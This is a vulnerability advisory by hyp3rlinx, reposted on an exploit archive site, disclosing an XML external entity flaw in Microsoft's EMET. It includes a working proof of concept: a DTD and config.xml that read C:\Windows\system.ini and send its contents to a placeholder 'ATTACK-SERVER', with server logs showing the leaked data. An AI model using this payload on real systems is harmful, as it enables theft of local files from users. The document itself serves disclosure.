首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Enhanced Mitigation Experience Toolkit (EMET) - XML External Entity Injection
来源:hyp3rlinx.altervista.org 作者:hyp3rlinx 发布时间:2018-07-03  

[+] Credits: John Page (aka hyp3rlinx) 
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-EMET-XML-INJECTION.txt
[+] ISR: Apparition Security    

 

***Greetz: indoushka|Eduardo|Dirty0tis|cor3sm4sh3r***    
 


Vendor:
================
www.microsoft.com


Product:
===========
Enhanced Mitigation Experience Toolkit (EMET)

Enhanced Mitigation Experience Toolkit is a freeware security toolkit for Microsoft Windows, developed by Microsoft.
It provides a unified interface to enable and fine-tune Windows security features.

 

Vulnerability Type:
===================
XML External Entity Injection

 

CVE Reference:
==============
N/A


Security Issue:
================
EMETs XML parser does not account for external entity declarations in ".config" files. This allows outbound network connections and users local files
to be exfiltrated to remote attacker controlled server. Conditions are a user must be tricked into importing a specially crafted XML file.

 

Exploit/POC:
=============
1) python -m SimpleHTTPServer


2) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ATTACK-SERVER:8000?%file;'>">
%all;


3) "config.xml"

import into EMET interface.


<?xml version="1.0"?>
<!DOCTYPE emet_poc [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://ATTACK-SERVER:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>


Result seen on ATTACK-SERVER:
=============================

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
PC - - [19/May/2018 22:53:02] "GET /payload.dtd HTTP/1.1" 200 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa
ve=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 301 -
PC - - [19/May/2018 22:53:02] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA8
0WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awa

 


Network Access:
===============
Remote

 

Severity:
=========
High

 

Disclosure Timeline:
=============================
Vendor Notification: June 5, 2018
Vendor reply : "We determined your finding is valid but does not meet our bar for servicing" : June 30, 2018
June 30, 2018 : Public Disclosure

 

[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Yahoo! Messenger Webcam 8.1 Ac
·Apache 2.2.0 - 2.2.11 Remote e
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
·HT Editor File openning Stack
  相关文章
·VMware NSX SD-WAN Edge < 3.1.2
·SIPp 3.6 - Local Buffer Overfl
·Core FTP LE 2.2 - Buffer Overf
·Geutebruck 5.02024 G-Cam/EFD-2
·Cisco Adaptive Security Applia
·Polaris Office 2017 8.1 Remote
·Microsoft Internet Explorer HT
·Quest KACE Systems Management
·KVM (Nested Virtualization) -
·Foxit Reader 9.0.1.1049 - Remo
·Opencart < 3.0.2.0 - Denial of
·IPConfigure Orchid VMS 2.0.5 -
  推荐广告
CopyRight © 2002-2018 VFocuS.Net All Rights Reserved